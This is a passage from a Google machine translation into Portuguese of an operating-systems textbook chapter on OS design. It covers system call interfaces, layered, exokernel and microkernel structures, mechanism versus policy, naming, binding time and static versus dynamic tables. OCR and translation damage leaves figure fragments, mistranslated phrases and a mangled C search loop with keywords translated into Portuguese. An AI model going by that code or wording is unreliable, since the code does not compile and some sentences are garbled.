acreditam que adicionar novos recursos não adiciona novos bugs são novos nos computadores ou 
acreditam que a fada dos dentes está lá fora cuidando deles. 

A simplicidade não é o único problema que surge ao projetar chamadas de sistema. 
Uma consideração importante é o slogan de Lampson (1984): 


Não esconda o poder. 


Se o hardware tem uma forma extremamente eficiente de fazer algo, ele deve ser exposto aos 
programadores de forma simples e não enterrado em alguma outra abstração. O objetivo das 
abstrações é ocultar propriedades indesejáveis, e não ocultar 


Machine Translated by Google 


SEC. 12.2 DESIGN DE INTERFACE 1053 


desejáveis. Por exemplo, suponha que o hardware tenha uma maneira especial de mover bitmaps grandes 
pela tela (isto é, a RAM de vídeo) em alta velocidade. Seria justificado ter uma nova chamada de sistema 
para acessar esse mecanismo, em vez de apenas fornecer maneiras de ler a RAM de vídeo na memória 
principal e gravá-la novamente. A nova chamada deve apenas mover bits e nada mais. Deve espelhar a 
capacidade de hardware subjacente. Se uma chamada de sistema for rápida, os usuários sempre poderão 
criar interfaces mais convenientes sobre ela. Se for lento, ninguém o usará. 


Outro problema de design são as chamadas orientadas à conexão versus as chamadas sem conexão. 
As chamadas do sistema Windows e UNIX para leitura de um arquivo são orientadas à conexão, como usar 
o telefone. Primeiro você abre um arquivo, depois o lê e, finalmente, fecha-o. Alguns protocolos de acesso 
remoto a arquivos também são orientados à conexão. Por exemplo, para usar FTP, o usuário primeiro faz 
login na máquina remota, lê os arquivos e depois efetua logout. 

Por outro lado, alguns protocolos de acesso remoto a arquivos não têm conexão. O protocolo da Web 
(HTTP) não tem conexão. Para ler uma página da Web basta solicitá-la; não há necessidade de configuração 
avançada ( é necessária uma conexão TCP, mas isso está em um nível de protocolo inferior. O próprio HTTP 
não tem conexão). 

A compensação entre qualquer mecanismo orientado a conexão e um mecanismo sem conexão é o 
trabalho adicional necessário para configurar o mecanismo (por exemplo, abrir o arquivo) e o ganho de não 
ter que fazê-lo em (possivelmente muitas) chamadas subsequentes. 

Para E/S de arquivos em uma única máquina, onde o custo de configuração é baixo, provavelmente a forma 
padrão (primeiro abrir e depois usar) é a melhor. Para sistemas de arquivos remotos, o caso pode ser 
defendido nos dois sentidos. 

Outra questão relacionada à interface de chamada do sistema é a sua visibilidade. A lista de chamadas 
de sistema exigidas pelo POSIX é fácil de encontrar. Todos os sistemas UNIX suportam estas, bem como 
um pequeno número de outras chamadas, mas a lista completa é sempre pública. Em contraste, a Microsoft 
nunca tornou pública a lista de chamadas do sistema Windows. Em vez disso, o WinAPI e outras APIs foram 
tornadas públicas, mas contêm um grande número de chamadas de biblioteca (mais de 10.000), mas apenas 
um pequeno número são verdadeiras chamadas de sistema. O argumento para tornar públicas todas as 
chamadas do sistema é que isso permite aos programadores saber o que é barato (funções executadas no 
espaço do usuário) e o que é caro (chamadas do kernel). O argumento para não torná-los públicos é que 
isso dá aos implementadores a flexibilidade de alterar as chamadas reais do sistema subjacente para torná- 
las melhores sem interromper os programas do usuário. Como vimos na Sec. 9.7.7, os designers originais 
simplesmente erraram na chamada do sistema de acesso , mas agora estamos presos a ela. 


12.3 IMPLEMENTAÇÃO 


Afastando-nos das interfaces de usuário e de chamada de sistema, vejamos agora como implementar 
um sistema operacional. Nas seções seguintes, examinaremos algumas questões conceituais gerais 
relacionadas às estratégias de implementação. Depois disso, veremos algumas técnicas de baixo nível que 
geralmente são úteis. 
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12.3.1 Estrutura do Sistema 


Provavelmente a primeira decisão que os implementadores terão que tomar é o que o sistema 
estrutura deveria ser. Examinamos as principais possibilidades na Seç. 1.7, mas vai 
revise-os aqui. Um projeto monolítico não estruturado não é uma boa ideia, exceto 
talvez para um pequeno sistema operacional, digamos, uma torradeira, mas mesmo aí isso é discutível. 


Sistemas em camadas 


Uma abordagem razoável que tem sido bem estabelecida ao longo dos anos é um sistema em 
camadas. O sistema THE de Dijkstra (Fig. 1.25) foi o primeiro sistema operacional em camadas. UNIX e 
Windows também possuem uma estrutura em camadas, mas as camadas em ambos 
é mais uma forma de tentar descrever o sistema do que um verdadeiro princípio orientador 
que foi usado na construção do sistema. 

Para um novo sistema, os projetistas que escolherem seguir esse caminho devem primeiro escolher 
cuidadosamente as camadas e definir a funcionalidade de cada uma. A camada inferior 
deve sempre tentar esconder as piores idiossincrasias do hardware, tal como a Camada de Abstração do 
Hardware (HAL) faz no Windows Provavelmente a próxima camada deverá 
lidar com interrupções, troca de contexto e MMU, portanto, acima desse nível, o código é 
principalmente independente da máquina. Acima disso, diferentes designers terão diferentes 
gostos (e preconceitos). Uma possibilidade é fazer com que a camada 3 gerencie threads, incluindo 
agendamento e sincronização entre threads, como mostrado na Figura 12-2. A ideia aqui 
é que começando na camada 4, temos threads adequados que são agendados normalmente e 
sincronizar usando um mecanismo padrão (por exemplo, mutexes). 


CE RE l 


Figura 12-2. Um projeto possível para um sistema operacional moderno em camadas. 


Camada 


Na camada 4 podemos encontrar os drivers de dispositivo, cada um rodando separadamente. 
thread, com seu próprio estado, contador de programa, registros e assim por diante, possivelmente (mas não 
necessariamente) dentro do espaço de endereço do kernel. Tal projeto pode simplificar bastante o 


Estrutura de E/S porque quando ocorre uma interrupção, ela pode ser convertida em um desbloqueio 
em um mutex e uma chamada para o agendador para (potencialmente) agendar o recém-preparado 
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thread que foi bloqueado no mutex. O MINIX 3 usa essa abordagem, mas no UNIX, Linux e Windows 
os manipuladores de interrupção são executados em uma espécie de terra de ninguém, em vez de 
threads apropriados como outros threads que podem ser agendados, suspensos e similares. Como 
grande parte da complexidade de qualquer sistema operacional está na E/S, vale a pena considerar 
qualquer técnica para torná-lo mais tratável e encapsulado. 

Acima da camada 4, esperaríamos encontrar memória virtual, um ou mais sistemas de arquivos 
e os manipuladores de cnamadas de sistema. Essas camadas estão focadas em fornecer serviços a 
aplicativos. Se a memória virtual estiver em um nível inferior ao dos sistemas de arquivos, então o 
cache de bloco poderá ser paginado, permitindo que o gerenciador de memória virtual determine 
dinamicamente como a memória real deve ser dividida entre as páginas do usuário e as páginas do 
kernel, incluindo o cache. O Windows funciona dessa maneira. 


Exokernels 


Embora a estratificação tenha adeptos entre os projetistas de sistemas, outro grupo tem 
precisamente a visão oposta (Engler et al., 1995). A sua visão baseia-se no argumento de ponta a 
ponta (Saltzer et al., 1984). Este conceito diz que se algo tiver que ser feito pelo próprio programa do 
usuário, será um desperdício fazê-lo também em uma camada inferior. 

Considere uma aplicação desse princípio ao acesso remoto a arquivos. Se um sistema estiver 
preocupado com a corrupção de dados em trânsito, ele deverá providenciar para que cada arquivo 
seja verificado no momento em que for gravado e a soma de verificação armazenada junto com o arquivo. 
Quando um arquivo é transferido por uma rede do disco de origem para o processo de destino, a 
soma de verificação também é transferida e também recalculada na extremidade receptora. 

Caso os dois discordem, o arquivo é descartado e transferido novamente. 

Essa verificação é mais precisa do que usar um protocolo de rede confiável, pois também detecta 
erros de disco, erros de memória, erros de software nos roteadores e outros erros além de erros de 
transmissão de bits. O argumento ponta a ponta diz que não é necessário usar um protocolo de rede 
confiável, uma vez que o terminal (o processo de recebimento) possui informações suficientes para 
verificar a exatidão do arquivo. A única razão para usar um protocolo de rede confiável nesta visão é 
a eficiência, ou seja, detectar e reparar erros de transmissão mais cedo. 


O argumento ponta a ponta pode ser estendido a quase todos os sistemas operacionais. Ela 
defende que o sistema operacional não faça nada que o programa do usuário possa fazer sozinho. 
Por exemplo, por que ter um sistema de arquivos? Apenas deixe o usuário ler e gravar uma parte do 
disco bruto de forma protegida. É claro que a maioria dos usuários gosta de ter arquivos, mas o 
argumento de ponta a ponta diz que o sistema de arquivos deveria ser um procedimento de biblioteca 
vinculado a qualquer programa que precise usar arquivos. Essa abordagem permite que programas 
diferentes tenham sistemas de arquivos diferentes. Esta linha de raciocínio diz que tudo o que o 
sistema operacional deve fazer é alocar recursos de forma segura (por exemplo, a CPU e os discos) 
entre os usuários concorrentes. O Exokernel é um sistema operacional construído de acordo com o 


argumento ponta a ponta (Engler et al., 1995). O Unikernel é a manifestação moderna da mesma 
ideia. 
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Sistemas cliente-servidor baseados em microkernel 


Um compromisso entre fazer com que o sistema operacional faça tudo e o sistema operacional não 
faça nada é fazer com que o sistema operacional faça um pouco. Esse projeto leva a um microkernel 
com grande parte do sistema operacional sendo executado como processos de servidor em nível de 
usuário, conforme ilustrado na Figura 12.3. Este é o mais modular e flexível de todos os designs. O 
máximo em flexibilidade é fazer com que cada driver de dispositivo também seja executado como um 
processo de usuário, totalmente protegido contra o kernel e outros drivers, mas mesmo ter os drivers de 
dispositivo rodando no kernel aumenta a modularidade. 


Cliente Cliente Cliente Processo Arquivo Memória 
Modo de usuário 


processo processo processo servidor servidor servidor 


A E Modo kernel 
Micronúcleo 


O cliente obtém 


serviço 
enviando mensagens 
aos processos do servidor 


Figura 12-3. Computação cliente-servidor baseada em microkernel. 


Quando os drivers de dispositivo estão no kernel, eles podem acessar diretamente os registros do 
dispositivo de hardware. Quando não o são, é necessário algum mecanismo para fornecer acesso a 
eles. Se o hardware permitir, cada processo de driver poderá ter acesso apenas aos dispositivos de E/ 

S de que necessita. Por exemplo, com E/S mapeada em memória, cada processo de driver poderia ter 
a página de seu dispositivo mapeada, mas nenhuma outra página de dispositivo. Se o espaço da porta 
de E/S puder ser parcialmente protegido, a parte correta dele poderá ser disponibilizada para cada driver. 


Mesmo que não haja assistência de hardware disponível, a ideia ainda pode funcionar. 

O que é então necessário é uma nova chamada de sistema, disponível apenas para processos de driver 
de dispositivo, fornecendo uma lista de pares (porta, valor). O que o kernel faz é primeiro verificar se o 
processo possui todas as portas da lista. Nesse caso, ele copia os valores correspondentes para as 
portas para iniciar a E/S do dispositivo. Uma chamada semelhante pode ser usada para ler portas de E/S. 

Essa abordagem evita que os drivers de dispositivo examinem (e danifiquem) as estruturas de 
dados do kernel, o que é (na maior parte) uma coisa boa. Um conjunto análogo de chamadas poderia 
ser disponibilizado para permitir que os processos do driver leiam e escrevam tabelas do kernel, mas 
apenas de forma controlada e com a aprovação do kernel. 

O principal problema com essa abordagem, e com os microkernels em geral, é o impacto no 
desempenho causado por todas as mudanças de contexto extras. No entanto, praticamente todo o 
trabalho em micronúcleos foi feito há muitos anos, quando as CPUs eram muito mais lentas. Hoje em 
dia, os aplicativos que usam cada gota de energia da CPU e não podem tolerar uma pequena perda de 
desempenho são poucos e raros. Afinal, ao executar um processador de texto ou navegador da Web, 

a CPU provavelmente fica ociosa 95% do tempo. Se um microkernel- 
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sistema operacional baseado em tecnologia transformou um sistema não confiável de 3,5 GHz em um 
sistema confiável de 2,5 GHz, provavelmente poucos usuários reclamariam. Ou até mesmo notar. 
Afinal, a maioria deles ficou muito feliz há apenas alguns anos, quando adquiriu seu computador 
anterior com a então estupenda velocidade de 1 GHz. Além disso, não está claro se o custo da 
comunicação entre processos ainda será um problema se os núcleos não forem mais um recurso 
escasso. Se cada driver de dispositivo e cada componente do sistema operacional tiver seu próprio 
núcleo dedicado, não haverá troca de contexto durante a comunicação entre processos. Além disso, 
os caches, preditores de ramificação e TLBs estarão todos aquecidos e prontos para funcionar em 
velocidade total. Alguns trabalhos experimentais em um sistema operacional de alto desempenho 
baseado em um microkernel foram apresentados por Hruby et al. (2013). 


Vale ressaltar que, embora os microkernels não sejam populares em desktops, eles são 
amplamente utilizados em telefones celulares, sistemas industriais, sistemas embarcados e sistemas 
militares, onde uma confiabilidade muito alta é absolutamente essencial. Além disso, o MacOS da 
Apple consiste em uma versão modificada do FreeBSD rodando sobre uma versão modificada do 
microkernel Mach. Finalmente, o MINIX 3 foi adotado como sistema operacional preferido para o 
Management Engine da Intel, como um subsistema especial em basicamente todas as CPUs Intel 
desde 2008. 


Tópicos do Kernel 


Outra questão relevante aqui, independentemente do modelo de estruturação escolhido, é a dos 
threads do sistema. Às vezes é conveniente permitir a existência de threads do kernel, separadas de 
qualquer processo do usuário. Esses threads podem ser executados em segundo plano, gravando 
páginas sujas no disco, trocando processos entre a memória principal e o disco e assim por diante. 
Na verdade, o próprio kernel pode ser estruturado inteiramente com tais threads, de modo que quando 
um usuário faz uma chamada de sistema, em vez de o thread do usuário executar no modo kernel, o 
thread do usuário bloqueia e passa o controle para um thread do kernel que assume a execução. o 
trabalho. 

Além dos threads do kernel executados em segundo plano, a maioria dos sistemas operacionais 
inicia muitos processos daemon em segundo plano. Embora não façam parte do sistema operacional, 
eles geralmente realizam atividades do tipo “sistema”. Isso pode incluir receber e enviar e-mails e 
atender vários tipos de solicitações, como páginas da Web, para usuários remotos. 


12.3.2 Mecanismo vs. Política 


Outro princípio que ajuda a coerência arquitectónica, juntamente com a manutenção de coisas 
pequenas e bem estruturadas, é o de separar o mecanismo da política. Ao colocar o mecanismo no 
sistema operacional e deixar a política para os processos do usuário, o próprio sistema pode 
permanecer inalterado, mesmo que haja necessidade de alterar a política. 

Mesmo que o módulo de política deva ser mantido no kernel, ele deve ser isolado do 
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o mecanismo, se possível, para que as alterações no módulo de política não afetem o 
módulo de mecanismo. 

Para tornar mais clara a divisão entre política e mecanismo, consideremos dois 
exemplos do mundo real. Como primeiro exemplo, considere uma grande empresa que possui um departamento 
de folha de pagamento, responsável pelo pagamento dos salários dos funcionários. Possui computadores, 
softwares, cheques em branco, convênios com bancos para depósitos diretos e 
mais mecanismos para realmente pagar os salários. Contudo, a política — determinar quem recebe e quanto — 
é completamente separada e é decidida pela gestão. O departamento de folha de pagamento apenas faz o 
que lhe é ordenado. 

Como segundo exemplo, considere um restaurante. Possui mecanismo de atendimento aos comensais, 
incluindo mesas, pratos, garçons, cozinha repleta de equipamentos, convênios com fornecedores de alimentos 
e administradoras de cartão de crédito, e assim por diante. A política está definida 
pelo chef, nomeadamente, o que está no menu. Se o chef decidir que o tofu está fora de questão e 
grandes bifes estão na moda (ou vice-versa), esta nova política pode ser tratada pelo existente 
mecanismo. 

Agora vamos considerar alguns exemplos de sistemas operacionais. Primeiro, vamos considerar 
agendamento de threads. O kernel poderia ter um escalonador de prioridade, com k níveis de prioridade. O 
mecanismo é um array, indexado por nível de prioridade, como é o caso do UNIX 
e janelas. Cada entrada é o topo de uma lista de threads prontos nesse nível de prioridade. 

O escalonador apenas pesquisa o array da prioridade mais alta para a prioridade mais baixa, 
selecionando os primeiros threads que atinge. Esse é o mecanismo. A política está na definição 

as prioridades. O sistema pode ter diferentes classes de usuários, cada um com uma 

prioridade, por exemplo. Também pode permitir que os processos do usuário definam a prioridade relativa 
de seus fios. As prioridades podem ser aumentadas após a conclusão da E/S ou diminuídas após 

usando um quantum. Existem inúmeras outras políticas que poderiam ser seguidas, mas 

a ideia aqui é a separação entre definir políticas e executá-las. 

Um segundo exemplo é a paginação. O mecanismo envolve gerenciamento de MMU, 
manter listas de páginas ocupadas e livres e código para transportar páginas de e para 
disco. A política decide o que fazer quando ocorre uma falha de página. Poderia ser local 
ou global, baseado em LRU ou baseado em FIFO, ou qualquer outra coisa, mas este algoritmo pode 
(e deveria) ser completamente separado da mecânica de gerenciamento das páginas. 

Um terceiro exemplo é permitir que módulos sejam carregados no kernel. O mecanismo diz respeito à 
forma como estão inseridos, como estão vinculados, que chamadas podem fazer, 

e quais chamadas podem ser feitas neles. A política determina quem tem permissão para 

carregar um módulo no kernel e quais módulos. Talvez apenas o superusuário possa 

carregar módulos, mas talvez qualquer usuário possa carregar um módulo que tenha sido assinado digitalmente 
pela autoridade competente. 


12.3.3 Ortogonalidade 


Um bom projeto de sistema consiste em conceitos separados que podem ser combinados de forma 
independente. Por exemplo, em C existem tipos de dados primitivos, incluindo inteiros, 


caracteres e números de ponto flutuante. Existem também mecanismos para combinar 
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tipos de dados, incluindo matrizes, estruturas e uniões. Essas ideias se combinam de forma independente, 
permitindo arrays de números inteiros, arrays de caracteres, estruturas e membros de união que são números 
de ponto flutuante e assim por diante. Na verdade, uma vez que um novo tipo de dados tenha 
definido, como um array de inteiros, ele pode ser usado como se fosse um primitivo 
tipo de dados, por exemplo, como membro de uma estrutura ou união. A capacidade de combinar conceitos 
separados de forma independente é chamada de ortogonalidade. É uma consequência direta dos princípios 
da simplicidade e da completude. 

O conceito de ortogonalidade também ocorre em sistemas operacionais sob vários disfarces. Um exemplo 
é a chamada de sistema clone do Linux , que cria um novo thread. 
A chamada tem como parâmetro um bitmap, que permite o espaço de endereçamento, funcionando 
diretório, descritores de arquivo e sinais a serem compartilhados ou copiados individualmente. Se tudo for 
copiado, temos um novo processo, igual ao fork. Se nada for copiado, um 
novo thread é criado no processo atual. Contudo, também é possível criar 
formas intermediárias de compartilhamento não são possíveis em sistemas UNIX tradicionais. Ao separar os 


vários recursos e torná-los ortogonais, é possível um grau mais refinado de controle. 


Outro uso da ortogonalidade é a separação do conceito de processo do 
conceito de thread no Windows. Um processo é um contêiner de recursos, nada mais 
e nada menos. Um thread é uma entidade programável. Quando um processo recebe um 
handle para outro processo, não importa quantos threads ele tenha. Quando um 
thread está agendado, não importa a qual processo ele pertence. Esses conceitos 
são ortogonais. 
Nosso último exemplo de ortogonalidade vem do UNIX. Criação de processos existe 
feito em duas etapas: fork mais exec. Criando o novo espaço de endereço e carregando-o 
com uma nova imagem de memória são separados, permitindo que as coisas sejam feitas entre 
(como manipular descritores de arquivo). No Windows, essas duas etapas não podem ser 
separados, ou seja, os conceitos de criar um novo espaço de endereço e preenchê-lo são 
não é ortogonal lá. A sequência de clone mais exec do Linux é ainda mais ortogonal, já que blocos de 
construção ainda mais refinados estão disponíveis. Como uma regra geral, 
ter um pequeno número de elementos ortogonais que podem ser combinados de várias maneiras 


leva a um sistema pequeno, simples e elegante. 


12.3.4 Nomenclatura 


A maioria das estruturas de dados de longa duração usadas por um sistema operacional tem algum tipo de 
nome ou identificador pelo qual eles podem ser referidos. Exemplos óbvios são login 
nomes, nomes de arquivos, nomes de dispositivos, IDs de processos e assim por diante. Como são esses nomes 


construído e gerenciado é uma questão importante no projeto e implementação do sistema. 


Os nomes que foram projetados principalmente para serem usados por seres humanos são nomes de 
sequências de caracteres em ASCII ou Unicode e geralmente são hierárquicos. Caminhos de diretório, 
como /usr/ast/books/mos5/chap-12, são claramente hierárquicos, indicando uma série de 
diretórios para pesquisar começando na raiz. URLs também são hierárquicos. Por exemplo, 
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www.cs.vu.nl/ ~ast/ indica uma máquina específica (www) em um departamento específico (cs) em 
uma universidade específica (vu) em um país específico (nl). A parte após a barra indica um arquivo 
específico na máquina designada, neste caso, por convenção, index.html no diretório inicial do ast . 
Observe que URLs (e endereços DNS em geral, incluindo endereços de e-mail) são “reversos”, 
começando na parte inferior da árvore e subindo, ao contrário dos nomes de arquivos, que começam 
no topo da árvore e descem. Outra maneira de ver isso é se a árvore é escrita de cima, começando 
da esquerda e indo para a direita ou começando da direita e indo para a esquerda. 


Muitas vezes a nomeação é feita em dois níveis: externo e interno. Por exemplo, os arquivos 
sempre têm um nome de sequência de caracteres em ASCII ou Unicode para uso das pessoas. Além 


disso, quase sempre existe um nome interno que o sistema utiliza. No UNIX, o nome real de um 
arquivo é o número do i-node; o nome ASCII não é usado internamente. Na verdade, nem é único, 


pois um arquivo pode ter vários links para ele. O nome interno análogo no Windows é o índice do 
arquivo no MFT. A função do diretório é fornecer o mapeamento entre o nome externo e o nome 
interno, conforme mostrado na Figura 12.4. 


Nome externo: /usr/ast/books/mos5/Chap-12 


E as Tabela de nós | 


7 


4 


Nome interno: 2 


Figura 12-4. Os diretórios são usados para mapear nomes externos em nomes internos. 


Em muitos casos (como no exemplo de nome de arquivo fornecido acima), o nome interno é um 
número inteiro sem sinal que serve como Índice em uma tabela do kernel. Outros exemplos de nomes 
de índices de tabelas são descritores de arquivos no UNIX e identificadores de objetos no Windows. 
Observe que nenhum deles tem qualquer representação externa. Eles são estritamente para uso do 
sistema e dos processos em execução. Em geral, é uma boa ideia usar índices de tabela para nomes 
temporários que são perdidos quando o sistema é reinicializado. 

Os sistemas operacionais geralmente oferecem suporte a vários namespaces, tanto externos 
quanto internos. Por exemplo, no Cap. 11, examinamos três namespaces externos suportados pelo 
Windows: nomes de arquivos, nomes de objetos e nomes de registros. Além disso, existem inúmeros 
namespaces internos que usam inteiros não assinados, por exemplo, identificadores de objetos e 
entradas MFT. Embora os nomes nos namespaces externos 
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são todas strings Unicode, procurar um nome de arquivo no registro não funcionará, assim como 
usar um índice MFT na tabela de objetos não funcionará. Em um bom design, é dada muita atenção 
a quantos namespaces são necessários, qual é a sintaxe dos nomes em cada um, como eles podem 
ser diferenciados, se existem nomes absolutos e relativos, e assim por diante. 


12.3.5 Tempo de vinculação 


Como acabamos de ver, os sistemas operacionais usam vários tipos de nomes para se referir 
a objetos. Às vezes, o mapeamento entre um nome e um objeto é fixo, mas outras vezes não. 
Neste último caso, quando o nome está vinculado ao objeto pode ser importante. 

Em geral, a vinculação antecipada é simples, mas não flexível, enquanto a vinculação tardia é 
mais complicada, mas muitas vezes mais flexível. 

Para esclarecer o conceito de tempo vinculativo, vejamos alguns exemplos do mundo real. Um 
exemplo de vinculação antecipada é a prática de algumas faculdades de permitir que os pais 
matriculem um bebê no nascimento e paguem antecipadamente a mensalidade atual. Quando o 
aluno chega, 18 anos depois, a mensalidade está totalmente paga, por mais alta que seja. 
momento. 

Na fabricação, solicitar peças com antecedência e manter um estoque delas é uma obrigação 
antecipada. Em contraste, a produção just-in-time exige que os fornecedores possam fornecer as 
peças no local, sem necessidade de aviso prévio. Esta é uma ligação tardia. 


As linguagens de programação geralmente suportam vários tempos de ligação para variáveis. 
Variáveis globais são vinculadas a um endereço virtual específico pelo compilador. Isso exemplifica 
a ligação antecipada. Às variáveis locais de um procedimento é atribuído um endereço virtual (na 
pilha) no momento em que o procedimento é invocado. Esta é uma ligação intermediária. Variáveis 
armazenadas no heap (aquelas alocadas por malloc em C ou new em Java) recebem endereços 
virtuais apenas no momento em que são realmente usadas. Aqui temos ligação tardia. 


Os sistemas operacionais geralmente usam ligação antecipada para a maioria das estruturas 
de dados, mas ocasionalmente usam ligação tardia para maior flexibilidade. A alocação de memória 
é um exemplo disso. Os primeiros sistemas de multiprogramação em máquinas sem hardware de 
relocação de endereço tinham que carregar um programa em algum endereço de memória e realocá- 
lo para rodar lá. Se alguma vez fosse trocado, teria que ser trazido de volta para o mesmo endereço 
de memória ou falharia. Em contraste, a memória virtual paginada é uma forma de ligação tardia. O 
endereço físico real correspondente a um determinado endereço virtual não é conhecido até que a 
página seja tocada e realmente trazida para a memória. 

Outro exemplo de ligação tardia é o posicionamento da janela em uma GUI. Em contraste com 
os primeiros sistemas gráficos, nos quais o programador tinha que especificar as coordenadas 
absolutas da tela para todas as imagens na tela, nas GUIs modernas o software usa coordenadas 
relativas à origem da janela, mas isso não é determinado até que a janela seja colocada. na tela, e 
pode até ser alterado posteriormente. 
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12.3.6 Estruturas Estáticas vs. Dinâmicas 


Os projetistas de sistemas operacionais são constantemente forçados a escolher entre estruturas 
de dados estáticas e dinâmicas. Os estáticos são sempre mais simples de entender, mais fáceis de 
programar e mais rápidos de usar; os dinâmicos são mais flexíveis. Um exemplo óbvio é a tabela de 
processos. Os primeiros sistemas simplesmente alocavam um conjunto fixo de estruturas por 
processo. Se a tabela de processos consistisse em 256 entradas, então apenas 256 processos 
poderiam existir em um determinado instante. Uma tentativa de criar um 257 falharia por falta de 
espaço de tabela. Considerações semelhantes são mantidas para a tabela de arquivos abertos (por 
usuário e em todo o sistema) e muitas outras tabelas do kernel. 

Uma estratégia alternativa é construir a tabela de processos como uma lista encadeada de 
minitabelas, inicialmente apenas uma. Se esta tabela ficar cheia, outra será alocada de um pool de 
armazenamento global e vinculada à primeira. Dessa forma, a tabela de processos não pode ser 
preenchida até que toda a memória do kernel se esgote. 

Por outro lado, o código de busca na tabela fica mais complicado. 

Por exemplo, o código para pesquisar uma tabela de processos estáticos para um determinado PID, 


pid, é fornecido na Figura 12.5. É simples e eficiente. Fazer a mesma coisa para uma lista vinculada 
de minitabelas é mais trabalhoso. 


encontrado 
= 0; for (p = &proc tabela[0]; p < &proc tabelaJPROC TABLE SIZE]; p++) { if (p- 
>proc pid == pid) 
{ encontrado 
= 1; quebrar; 


Figura 12-5. Código para pesquisar na tabela de processos um determinado PID. 


As tabelas estáticas são melhores quando há bastante memória ou quando a utilização da 
tabela pode ser adivinhada com bastante precisão. Por exemplo, em um sistema de usuário único, é 
improvável que o usuário inicie mais de 128 processos ao mesmo tempo, e não será um desastre 
total se uma tentativa de iniciar o 129º processo falhar. 

Outra alternativa é usar uma tabela de tamanho fixo, mas se ela ficar lotada, aloque uma nova 
tabela de tamanho fixo, digamos, duas vezes maior. As entradas atuais são então copiadas para a 
nova tabela e a tabela antiga é devolvida ao conjunto de armazenamento livre. Desta forma, a tabela 
é sempre contígua e não vinculada. A desvantagem aqui é que é necessário algum gerenciamento 
de armazenamento e o endereço da tabela agora é uma variável em vez de uma constante. 


Um problema semelhante vale para pilhas de kernel. Quando um thread muda do modo de 
usuário para o modo kernel, ou um thread no modo kernel é executado, ele precisa de uma pilha no 
espaço do kernel. Para threads de usuário, a pilha pode ser inicializada para descer a partir do topo 
do espaço de endereço virtual, portanto o tamanho não precisa ser especificado antecipadamente. 
Para threads de kernel, o tamanho deve ser especificado antecipadamente porque a pilha ocupa 
algum espaço de endereço virtual do kernel e pode haver muitas pilhas. A questão é quanto 
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espaço que cada um deve ter? As compensações aqui são semelhantes às da tabela de processos. Tornar 
dinâmicas estruturas de dados importantes como essas é possível, mas complicado. 

Outra compensação estática-dinâmica é o agendamento de processos. Em alguns sistemas, especialmente 
os de tempo real, o escalonamento pode ser feito de forma estática e antecipada. Por exemplo, uma companhia 
aérea sabe a que horas os seus voos partirão semanas antes da partida. Da mesma forma, os sistemas multimídia 
sabem quando programar áudio, vídeo e outros processos com antecedência. Para uso geral, essas considerações 


não são válidas e o agendamento deve ser dinâmico. 


Ainda outro problema estático-dinâmico é a estrutura do kernel. É muito mais simples se o kernel for 
construído como um único programa binário e carregado na memória para ser executado. A consequência desse 
projeto, entretanto, é que a adição de um novo dispositivo de E/S requer uma religação do kernel com o novo 
driver de dispositivo. As primeiras versões do UNIX funcionavam dessa maneira, e isso era bastante satisfatório 
em um ambiente de minicomputador, quando a adição de novos dispositivos de E/S era uma ocorrência rara. Hoje 
em dia, a maioria dos sistemas operacionais permite que o código seja adicionado ao kernel de forma dinâmica, 
com toda a complexidade adicional que isso acarreta. 


12.3.7 Implementação de cima para baixo versus implementação de baixo para cima 


Embora seja melhor projetar o sistema de cima para baixo, em teoria ele pode ser implementado de cima 
para baixo ou de baixo para cima. Em uma implementação de cima para baixo, os implementadores começam 
com os manipuladores de chamadas de sistema e veem quais mecanismos e estruturas de dados são necessários 
para apoiá-los. Esses procedimentos são escritos, e assim por diante, até que o hardware seja alcançado. 


O problema com esta abordagem é que é difícil testar qualquer coisa apenas com os procedimentos de nível 
superior disponíveis. Por esta razão, muitos desenvolvedores acham mais prático construir o sistema de baixo 
para cima. Esta abordagem envolve primeiro escrever código que esconde o hardware de baixo nível, 
essencialmente o HAL no Windows (Cap. 

11). O tratamento de interrupções e o driver do relógio também são necessários desde o início. 

Então a multiprogramação pode ser abordada, juntamente com um escalonador simples (por exemplo, 
escalonamento round-robin). Neste ponto, deve ser possível testar o sistema para ver se ele consegue executar 
vários processos corretamente. Se isso funcionar, agora é hora de começar a definição cuidadosa das diversas 
tabelas e estruturas de dados necessárias em todo o sistema, especialmente aquelas para gerenciamento de 
processos e threads e posterior gerenciamento de memória. A E/S e o sistema de arquivos podem esperar 
inicialmente, exceto por uma forma primitiva de ler o teclado e escrever na tela para teste e depuração. Em alguns 
casos, as principais estruturas de dados de baixo nível devem ser protegidas, permitindo o acesso apenas através 
de procedimentos de acesso específicos — na verdade, programação orientada a objetos, independentemente da 
linguagem de programação. À medida que as camadas inferiores são concluídas, elas podem ser testadas 
minuciosamente. Desta forma, o sistema avança de baixo para cima, tal como os empreiteiros constroem edifícios 


de escritórios altos. 


Se uma grande equipe de programadores estiver disponível, uma abordagem alternativa é primeiro fazer um 


projeto detalhado de todo o sistema e depois atribuir grupos diferentes para 
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escreva módulos diferentes. Cada um testa seu próprio trabalho isoladamente. Quando todos os 


as peças estão prontas, estão integradas e testadas. O problema desta linha de 

ataque é que, se nada funcionar inicialmente, pode ser difícil isolar se um ou 

mais módulos estão com defeito ou um grupo entendeu mal o que algum outro 

módulo deveria fazer. No entanto, com equipas grandes, esta abordagem é muitas vezes 
usado para maximizar a quantidade de paralelismo no esforço de programação. 


12.3.8 Comunicação Síncrona vs. Comunicação Assíncrona 


Outro problema que muitas vezes surge nas conversas entre sistemas operacionais 
designers é se as interações entre os componentes do sistema devem ser 
síncrono ou assíncrono (e, relacionado, se threads são melhores que eventos). 
A questão frequentemente leva a discussões acaloradas entre os proponentes dos dois 
acampamentos, embora não os deixe espumando pela boca tanto quanto 
ao decidir assuntos realmente importantes - como qual é o melhor editor, vi ou emacs. 
Usamos o termo “síncrono” no sentido (vago) da Seção. 8.2 para denotar chamadas que 
bloquear até a conclusão. Por outro lado, com chamadas "assíncronas" o cnamador mantém 
correndo. Existem vantagens e desvantagens em qualquer um dos modelos. 

Alguns sistemas, como o Amoeba, realmente adotam o design síncrono e 
implementar a comunicação entre processos bloqueando chamadas cliente-servidor. Completamente 
a comunicação síncrona é conceitualmente muito simples. Um processo envia uma solicitação e bloqueia a 
espera até que a resposta chegue — o que poderia ser mais simples? Fica um pouco mais complicado quando 
há muitos clientes, todos clamando pela atenção do servidor ao mesmo tempo. Cada solicitação individual 
pode ser bloqueada por um longo tempo 
aguardando que outras solicitações sejam concluídas primeiro. Isso pode ser resolvido tornando o servidor 
multithread, de modo que cada thread possa lidar com um cliente. O modelo é experimentado e 
testado em muitas implementações do mundo real, em sistemas operacionais e também em usuários 
formulários. 

As coisas ficam ainda mais complicadas se os threads leem e escrevem frequentemente estruturas de 
